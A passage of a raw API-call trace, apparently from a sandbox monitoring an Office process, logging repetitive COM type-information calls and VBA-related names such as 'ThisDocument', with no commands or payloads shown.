ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.372] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.372] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb5, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.372] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.372] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb6, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.372] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.372] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb7, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.372] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.372] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb8, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.372] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.372] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb9, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.372] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.372] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xba, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.372] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.372] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xbb, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.372] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.372] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xbc, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.373] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.373] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xbd, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.373] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.373] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xbe, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.373] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.373] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xbf, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.373] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.373] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc0, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.373] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.373] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc1, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.373] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.373] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc2, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.373] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.373] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc3, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.373] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.373] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc4, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.373] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.373] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc5, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.373] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.373] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc6, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.373] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.373] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc7, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.373] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.373] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc8, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.373] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.373] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc9, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.373] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.373] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xca, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.373] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.373] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xcb, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.373] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.373] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xcc, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.373] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.373] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xcd, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.373] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.373] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xce, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.373] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.374] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xcf, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.374] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.374] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd0, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.374] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.374] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd1, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.374] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.374] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd2, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.374] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.374] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd3, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.374] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.374] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd4, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.374] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.374] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd5, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.374] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.374] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd6, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.374] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.374] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd7, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.374] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.374] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd8, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.374] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.374] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd9, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.374] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.374] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xda, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.374] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.374] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xdb, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.374] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.374] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xdc, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.374] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.374] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xdd, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.374] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.374] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xde, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.374] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.374] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xdf, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.374] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.374] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe0, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.374] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.375] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe1, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.375] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.375] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe2, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.375] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.375] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe3, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.375] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.375] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe4, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.375] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.375] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe5, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.375] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.375] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe6, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.375] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.375] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe7, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.375] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.375] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe8, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.375] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.375] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe9, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.375] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.375] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xea, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.375] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.375] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xeb, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.375] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.375] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xec, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.375] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.375] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xed, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.375] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.375] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xee, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.375] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.375] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xef, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.375] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.375] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf0, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.375] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.375] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf1, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.375] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.375] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf2, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.375] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.375] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf3, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.376] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.376] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf4, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.376] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.376] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf5, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.376] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.376] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf6, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.376] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.376] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf7, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.376] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.376] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf8, ppFuncDesc=0xbcb38f5a58, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5a58, pDummy=0x6) returned 0x0 [0071.376] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.376] IUnknown:QueryInterface (in: This=0x2885d2711b8, riid=0x7ff9bdefa878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xbcb38f5a78 | out: ppvObject=0xbcb38f5a78*=0x2885d2711b8) returned 0x0 [0071.376] ITypeInfo2:GetCustData (in: This=0x2885d2711b8, GUID=0x7ff9bdf05de0*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0xbcb38f5a88 | out: pVarVal=0xbcb38f5a88*(varType=0x0, wReserved1=0x0, wReserved2=0x1b9, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0071.376] IUnknown:Release (This=0x2885d2711b8) returned 0x2 [0071.376] ITypeInfo:RemoteGetDocumentation (in: This=0x2885d2711b8, memid=-1, refPtrFlags=0xb38f5a80, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0071.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0xbcb38f5990, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0071.376] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Document") returned 0x40d36a [0071.376] IUnknown:QueryInterface (in: This=0x2885d271318, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f5a30 | out: ppvObject=0xbcb38f5a30*=0x0) returned 0x80004002 [0071.377] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d271318, ppTypeAttr=0xbcb38f5a58, pDummy=0xbcb38f5a30 | out: ppTypeAttr=0xbcb38f5a58, pDummy=0xbcb38f5a30*=0x0) returned 0x0 [0071.377] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d271318) returned 0x0 [0071.377] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e44c0, cb=0x62) returned 0x2885d999050 [0071.377] IUnknown:AddRef (This=0x2885d271318) returned 0x4 [0071.377] IUnknown:Release (This=0x2885d271268) returned 0x1 [0071.377] IUnknown:Release (This=0x2885d271318) returned 0x3 [0071.377] IUnknown:Release (This=0x2885d2711b8) returned 0x1 [0071.377] IUnknown:Release (This=0x2885d2711b8) returned 0x1 [0071.377] IUnknown:AddRef (This=0x2885d271268) returned 0x3 [0071.377] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d271268, ppTypeAttr=0xbcb38f5cb0, pDummy=0x0 | out: ppTypeAttr=0xbcb38f5cb0, pDummy=0x0) returned 0x0 [0071.377] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d271268) returned 0x0 [0071.377] ITypeInfo:GetRefTypeOfImplType (in: This=0x2885d271268, index=0x0, pRefType=0xbcb38f5ca8 | out: pRefType=0xbcb38f5ca8*=0x3) returned 0x0 [0071.377] ITypeInfo:GetRefTypeInfo (in: This=0x2885d271268, hreftype=0x3, ppTInfo=0xbcb38f5cb8 | out: ppTInfo=0xbcb38f5cb8*=0x288574623e8) returned 0x0 [0071.377] IUnknown:Release (This=0x2885d271268) returned 0x2 [0071.377] ITypeInfo:RemoteGetTypeAttr (in: This=0x288574623e8, ppTypeAttr=0xbcb38f5cb0, pDummy=0xbcb38f5c88 | out: ppTypeAttr=0xbcb38f5cb0, pDummy=0xbcb38f5c88*=0x400) returned 0x0 [0071.377] ITypeInfo:LocalReleaseTypeAttr (This=0x288574623e8) returned 0x0 [0071.377] ITypeInfo:GetRefTypeOfImplType (in: This=0x288574623e8, index=0x0, pRefType=0xbcb38f5ca8 | out: pRefType=0xbcb38f5ca8*=0x182) returned 0x0 [0071.377] ITypeInfo:GetRefTypeInfo (in: This=0x288574623e8, hreftype=0x182, ppTInfo=0xbcb38f5cb8 | out: ppTInfo=0xbcb38f5cb8*=0x28857462440) returned 0x0 [0071.377] IUnknown:Release (This=0x288574623e8) returned 0x2 [0071.377] ITypeInfo:RemoteGetTypeAttr (in: This=0x28857462440, ppTypeAttr=0xbcb38f5cb0, pDummy=0xbcb38f5c90 | out: ppTypeAttr=0xbcb38f5cb0, pDummy=0xbcb38f5c90*=0xb38f5cc0) returned 0x0 [0071.377] ITypeInfo:LocalReleaseTypeAttr (This=0x28857462440) returned 0x0 [0071.377] IUnknown:Release (This=0x28857462440) returned 0x1 [0071.377] IUnknown:Release (This=0x2885d271268) returned 0x1 [0071.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="026168c315", cchWideChar=11, lpMultiByteStr=0xbcb38f5ca0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="026168c315", lpUsedDefaultChar=0x0) returned 11 [0071.377] GetLocalTime (in: lpSystemTime=0xbcb38f5d88 | out: lpSystemTime=0xbcb38f5d88*(wYear=0x7e4, wMonth=0xa, wDayOfWeek=0x0, wDay=0x4, wHour=0x17, wMinute=0x35, wSecond=0x3b, wMilliseconds=0x3d0)) [0071.377] _ultow_s (in: _Value=0x6168c317, _Buffer=0x2885d6354c4, _BufferCount=0x9, _Radix=16 | out: _Buffer="6168c317") returned 0x0 [0071.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="066168c317", cchWideChar=11, lpMultiByteStr=0xbcb38f5ce0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="066168c317", lpUsedDefaultChar=0x0) returned 11 [0071.378] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d271268, ppTypeAttr=0xbcb38f5d38, pDummy=0x2885d5ca850 | out: ppTypeAttr=0xbcb38f5d38, pDummy=0x2885d5ca850*=0x5d5c0007) returned 0x0 [0071.378] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d271268, ppTypeAttr=0xbcb38f5ce0, pDummy=0x6 | out: ppTypeAttr=0xbcb38f5ce0, pDummy=0x6) returned 0x0 [0071.378] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d271268) returned 0x0 [0071.378] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d271268) returned 0x0 [0071.378] IUnknown:Release (This=0x2885d271268) returned 0x1 [0071.378] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d15a6c0, cb=0x100) returned 0x2885d6e3b30 [0071.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0xbcb38f5b20, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0071.378] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ThisDocument") returned 0x409e3c [0071.378] IUnknown:Release (This=0x2885d271268) returned 0x1 [0071.378] IUnknown:Release (This=0x2885d271268) returned 0x1 [0071.378] IUnknown:QueryInterface (in: This=0x2885d2711b8, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f58e0 | out: ppvObject=0xbcb38f58e0*=0x0) returned 0x80004002 [0071.378] IUnknown:QueryInterface (in: This=0x2885d2711b8, riid=0x7ff9bdefa878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, 